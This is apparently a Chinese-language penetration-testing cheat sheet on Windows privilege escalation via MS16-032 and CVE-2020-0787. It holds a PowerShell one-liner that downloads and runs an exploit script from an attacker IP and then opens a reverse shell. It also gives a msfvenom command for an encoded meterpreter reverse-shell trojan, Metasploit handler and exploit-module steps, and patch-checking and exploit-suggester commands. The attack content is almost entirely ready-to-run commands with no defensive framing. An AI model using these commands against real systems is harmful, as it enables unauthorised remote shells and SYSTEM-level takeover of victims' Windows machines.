⼀般常⻅的提权⽅法有：（当然还有很多提权⼿段）

  1. 本地溢出漏洞提权
  2. 数据库提权
  3. 第三⽅软件提权

MS16-032 提权
影响版本
Windows Vista
Windows 7
Windows 8.1
Windows 10
Windows 2008 Server

直接运行提权exe就会得到一个新的shell，

IEX (New-Object Net.WebClient).DownloadString('http://192.168.224.132:8000/ms16_032_intrd_mod.ps1');Invoke-MS16-032"-NoProfile -ExecutionPolicy Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://192.168.224.132:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.224.132 -Port 445"

msf

1.利用msfvenom生成木马

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 13 -b '\x00\xfff\x0a' lhost=10.10.10.128 --platform windows lport=443 -f exe >/root/test.exe

2.在msf下开启监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 10.10.10.128

set lport 443

exploit

3.获取session后放置后台background

4.
use ms16_032_secondary_logon_handle_privesc

5.
set session 1

6.
exploit

本地提权

CVE-2020-0787
POC成功会弹出SYSTEM权限CMD不适用于WebShell,几乎秒杀了所有的win机器。我在32机器是失败了，

Windows 10 Version 1809 for ARM64-based Systems
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1709 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows Server, version 1803 (Server Core Installation)
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems

⾸先我们需要查找⽬标机器上有没有打补丁 KB4540673 ：
systeminfo| findstr KB4540673

检查可利用漏洞 Windows-Exploit-Suggester

python2 windows-exploit-suggester.py --database 2021-11-01-mssb.xls --systeminfo systeminfo.txt

在线Windows提权辅助工具

https://i.hacking8.com/tiquan